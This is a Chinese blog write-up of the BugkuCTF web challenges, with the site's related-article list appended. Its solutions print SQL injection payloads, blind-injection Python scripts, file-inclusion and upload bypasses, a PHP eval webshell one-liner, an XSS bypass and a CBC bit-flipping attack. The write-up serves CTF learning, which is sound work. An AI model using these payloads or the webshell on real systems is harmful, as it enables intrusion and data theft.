---恢复内容开始---

找到了个ctf平台。里面的web挺多的。终于将web题目写的差不多了。

Web

签到题

加群就可以了

Web2

直接F12就看到了

文件上传测试

Burp抓包

文件名改成 1.jpg.php 即可

计算题

F12 改长度限制即可

Web3

阻止一直弹框,然后源代码

解码下就可以了

Sql注入

右键源代码,看到gb2312 易想到宽字节注入

爆出数据库:

结合题目,得flag

SQL注入1

Sql语句:$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";

可以用%00绕过关键字过滤

爆出数据库:

Flag :

你必须让他停下

Burp抓包

返回的包图片不一样. Intruder 多次试试

随便构造没用的参数发送就行了

根据length 查看就行了

本地包含

源代码

eval存在命令执行漏洞,构造出文件包含

Base64解码即可

后来得知可以这么写。

积累太少。

变量1

源代码

(和“百度杯”CTF比赛(二月场)题目一致)

提示flag在变量里。正则匹配只能大小写字符和数字。 eval("var_dump($$args);");打印出变量的值。 利用超全局数组 GLOBALS 可以打印出所有变量。

Web4

右键源代码 看见了一串js代码 先URL解码



就是拼接 67d709b2b54aa2aa648cf6e87a7114f1 提交

Web5

右键源代码,将JSfuck代码扔进F12控制台

flag在index里

点下链接http://120.24.86.145:8005/post/index.php?file=show.php

发现File参数 易想到文件包含漏洞

PAYLOAD:http://120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

Base64解码



phpcmsV9

利用注册页面的漏洞试试能不能getshell。显示操作失败。

所以只能先利用sql注入,注入出后台账号和密码。网上有很多注入exp。



花了一毛解密 a123456

在后台可以直接看到我们在注册页面上传的shell ,原来只是没回显。 菜刀连上去即可



海洋CMS

利用网上已经知道的漏洞。

根据提示,列出目录开始找。



输入密码查看flag

根据提示 用BURP爆破

前女友

点链接看到源代码

利用PHP md5()漏洞与strcmp()漏洞

成绩单

容易看出考SQL注入

爆表:-1' union select 1,table_name,3,4 from information_schema.tables where TABLE_SCHEMA='skctf_flag' LIMIT 0,1

爆字段:-1' union select 1,column_name,3,4 from information_schema.columns where TABLE_SCHEMA='skctf_flag' and table_name='fl4g' LIMIT 0,1#

Flag:-1' union select 1,skctf_flag,3,4 from fl4g#

Web3



Flag base64解码后还有base64的字符 在解码 。 是串数字。根据提示就是要把那串数字POST过去 ,要短时间内。Python脚本:

!usr/bin/env python

!coding=utf-8

author = 'zhengjim'

import requests

import base64

url ='http://120.24.86.145:8002/web6/'

r =requests.session()

headers = r.get(url).headers

key = base64.b64decode(base64.b64decode(headers['flag']).split(':')[1])

data={'margin':key}

print r.post(url=url,data=data).content

cookies欺骗??

点进来URL

http://120.24.86.145:8002/web11/index.php?line=&filename=a2V5cy50eHQ=

a2V5cy50eHQ=解码是keys.txt 所以替换成base64后的index.php。Line是行数

遍历获得源代码

得到源代码后,看出,构造cookie margin=margin 然后读keys.php即可

xss

过滤<> 用\u003cscript\u003ealert(key)\u003c/script\u003e 可绕过



never give up

发现提示1p.html 访问1p.html后发现了一串WORDS 解码。有串base64解码 。在url解码







直接访问即可(出题人应该是忘记屏蔽了-。-)



正解应该是

welcome to bugkuctf

看源代码:

txt参数的 File_get_contents() 利用php://input 来绕过 file 的include() 文件包含

读出hint.php 解码后:

在读flag.php,结果提示不给flag 于是读下index.php

发现正则匹配file 不能包含flag

看到这段代码及hint.php类有个 __toString()构造函数,可以构造password的序列化。然后反序列读出flag.php文件





login1



根据提示 就是注册一个admin a 的账号

然后就可以重置admin密码,后登入即可。

过狗一句话

看提示 猜测 indexphp 就是shell 于是直接利用

各种绕过哟

根据源代码 GET 一个unname 和POST一个 passwd 值不能相等 sha1要相等 ,提交数组。Sha1()均返回null 绕过



Web8

根据源代码

extract 可以将$_GET数组的值转为变量,默认是如果有冲突,则覆盖已有的变量。

File_get_contents() 利用php://input绕过。

字符?正则?

一步步跟着匹配即可,[:punct:]是匹配任何标点符号

考细心

看主页404,但和真正的404页面不一样,没什么发现,于是试了下robots.txt 发现了resusl.php文件。

本来以为是伪造IP,然后注入得到password,提交。然后均失败了。 试了下?x=admin 出现flag。。。

求getshell

上传题。 各种方法尝试。发现是后缀名黑名单检测和类型检测

php别名:php2, php3, php4, php5, phps, pht, phtm, phtml 均试下。

发现php5绕过

上面的Content-Type的值 大小写绕过



flag.php

点了没反应,提示:hint 多次尝试 发现GET一个hint就有源代码

审计代码,要传一个cookie名为ISecer 的反序列的值。并且反序列后的值要全相等于”$KEY”

这里要注意是有双引号。

而且$KEY的传值的此之后的。所以反序列的值不是’ISecer:www.isecer.com’。

我们要得到的值是string(0) "" 所以序列化该值即可。



Web15

给了源代码

是INSERT INTO的注入,并且不能有’,’否则会吃掉后面的语句

Payload:

11'+(select case when (substring((select flag from flag ) from {0} for 1 )='{1}') then sleep(4) else 1 end ) and '1'='1

Python脚本

import requests

import string

url="http://120.24.86.145:8002/web15/"

allString=string.lowercase + string.uppercase + string.digits

flag=""

for i in range(1,33):

for str1 in allString:

data="11'+(select case when (substring((select flag from flag ) from {0} for 1 )='{1}') then sleep(4) else 1 end ) and '1'='1".format(str(i),str1)

# print data

headers={"x-forwarded-for":data}

try:

res=requests.get(url,headers=headers,timeout=3)

except requests.exceptions.ReadTimeout, e:

flag += str1

print flag

break

print 'flag:' + flag

文件包含2

看见file想到文件包含,php://filter/read=convert.base64-encode/resource=hello.php

失败。

右键源代码,发现有个upload.php上传。所以上传一个带一句话木马的图片包含即可。

‘’这两个被过滤了。换个姿势上传~

<?=eval($_POST['cmd']);

成功连接

sql注入2

根据题目sql注入 试了好久好久,于是请教他人。。。结果大牛说访问下flag 就行了。巨坑!

wordpress

登入后台。根据这个构造账号密码 sun sun19980321

看到隐藏文章

经人提醒才知道,是数据库

找到http://wp.bugku.com/phpmyadmin/ 登入

Login3

过滤了空格 or and where + * union ,%0a %0b 等等

测试得出用 ^

Payload

import requests

url = 'http://47.93.190.246:49167/index.php'

r = requests.Session()

result = ''

for i in range(1,33):

for j in range(37,127):

payload = "admin1'^(ascii(mid((password)from({0})))>{1})#".format(str(i),str(j))

print payload

data = {"username":payload,"password":"asd"}

html = r.post(url,data=data)

if "password error!" in html.content:

result += chr(j)

print result

break

print result

跑出MD5解密 登入即可

login4

看到登入框就试试有没有注入,源代码泄露。 发现.index.php.swp 存在

恢复成源码。 根据提示,知道了是利用cbc字符翻转攻击。

原理看文章:http://wooyun.jozxing.cc/static/drops/tips-7828.html

首先先post username = ‘qdmin’ password=’1’ 会得到一个iv cipher



利用CBC字节翻转攻击将qdmin 的q 改成 a 后加密得到cipher。

替换cookie[cipher]的值 访问。



反序列化失败。 原因是第一个块数据(16字节)被破坏了。因为要username要等于admin所以不能利用文章里的说的填充字符。 又因为是第一个块数据被破坏,第一个块数据是和IV有关,所以只要将在CBC字符翻转攻击,得到新的IV就可以修复第一块数据。

代入vi即可

BUGKUctf-web-writeup的更多相关文章

  1. ISG 2018 Web Writeup

    作者:agetflag 原文来自:ISG 2018 Web Writeup ISG 2018 Web Writeup CTF萌新,所以写的比较基础,请大佬们勿喷,比赛本身的Web题也不难 calc 首 ...

  2. BugkuCTF web基础$_POST

    前言 写了这么久的web题,算是把它基础部分都刷完了一遍,以下的几天将持续更新BugkuCTF WEB部分的题解,为了不影响阅读,所以每道题的题解都以单独一篇文章的形式发表,感谢大家一直以来的支持和理 ...

  3. BugkuCTF web基础$_GET

    前言 写了这么久的web题,算是把它基础部分都刷完了一遍,以下的几天将持续更新BugkuCTF WEB部分的题解,为了不影响阅读,所以每道题的题解都以单独一篇文章的形式发表,感谢大家一直以来的支持和理 ...

  4. [SHA2017](web) writeup

    [SHA2017](web) writeup Bon Appétit (100) 打开页面查看源代码,发现如下 自然而然想到php伪协议,有个坑,看不了index.php,只能看 .htaccess ...

  5. [WUST-CTF]Web WriteUp

    周末放假忙里偷闲打了两场比赛,其中一场就是武汉科技大学的WUST-CTF新生赛,虽说是新生赛,题目质量还是相当不错的.最后有幸拿了总排第5,记录一下Web的题解. checkin 进入题目询问题目作者 ...

  6. BugkuCTF~Mobile~WriteUp

    最近,开始记录一篇关于 Android 逆向分析的 WriteUp 方便有需要的人学习,也欢迎大家相互交流, 发现不 一样的世界. 一. signin 考点:反编译.静态分析 Topic Link:h ...

  7. 南京邮电大学//bugkuCTF部分writeup

    WEB 1.签到题 nctf{flag_admiaanaaaaaaaaaaa} 右键查看源代码或按f12即可. 2.这题不是web nctf{photo_can_also_hid3_msg} 下载图片 ...

  8. BugkuCTF WEB

    web2 打开链接,一大堆表情 查看源代码 得到 flag 文件上传测试 打开链接 选择 1 个 jpg 文件进行上传,用 burp 抓包改包 将 php 改为 jpg,发包 得到 flag 计算器 ...

  9. BugkuCTF~Misc~WriteUp

    1.签到 get flag: Qftm{You should sign in} 2.这是一张单纯的图片 查看图片十六进制 提去特殊字符串进行解码 get flag: key{you are right ...

  10. BuuCTF Web Writeup

    WarmUp index.php <html lang="en"> <head> <meta charset="UTF-8"> ...

随机推荐

  1. UITableView grouped样式使用探索

    UITableView的style有plain和grouped两种样式,两种样式各有不同的风格和功能,plain样式已经封装好了悬停功能,gouped样式则为我们在区头和区尾在实际项目开发中需要我们选 ...

  2. Excel 中使用sql语句查询

    将Excel连接Oracle数据库 Excel选项板中"数据"—"自其他来源"下拉菜单中有有个可以连接其它数据库的选项"来自数据连接向导"和 ...

  3. Lucene工作原理

    Lucene是一个高性能的java全文检索工具包,它使用的是倒排文件索引结构.该结构及相应的生成算法如下: 0)设有两篇文章1和2 文章1的内容为:Tom lives in Guangzhou,I l ...

  4. 杜教筛 && bzoj3944 Sum

    Description Input 一共T+1行 第1行为数据组数T(T<=10) 第2~T+1行每行一个非负整数N,代表一组询问 Output 一共T行,每行两个用空格分隔的数ans1,ans ...

  5. DirectFB 之 分段动画

    动画动态配置 一套素材的目录结构一般如下: 子目录中的图片名称都是以数字命名,比如,1,2, 3, 4,--        而配置文件animation.cfg的格式如下: #width height ...

  6. express4.x的使用

    ①.安装 npm install -g  express   ②.创建应用 express [目录] 会在目录下生成 node_modules, 存放所有的项目依赖库.(每个项目管理自己的依赖,与Ma ...

  7. OSI七层模型学习笔记

    1.简介 什么是OSI模型呢? OSI模型全名Open System InterConnect 即开放式系统互联,是国际标准化组织(ISO)提出的一个试图使各种计算机在世界范围内互连为网络的标准框架, ...

  8. Transform java future into completable future 【将 future 转成 completable future】

    Future is introduced in JDK 1.5 by Doug Lea to represent "the result of an asynchronous computa ...

  9. yum 安装redis 及简单命令(推荐测试环境,安装简单)

    第1章 redis 入门 1.1 yum 安装 安装repo源 cd /etc/yum.repos.d/ wget http://mirrors.aliyun.com/repo/epel-6.repo ...

  10. 利用GROUP_CONCAT和GROUP BY实现字段拼接

    在开发过程中遇到这样的一个需求,通过GROUP BY分组归类后将同属性的字段进行拼接. 表结构为: id value a b c a b 需要得到结果: id value a,b,c a,b 一开始在 ...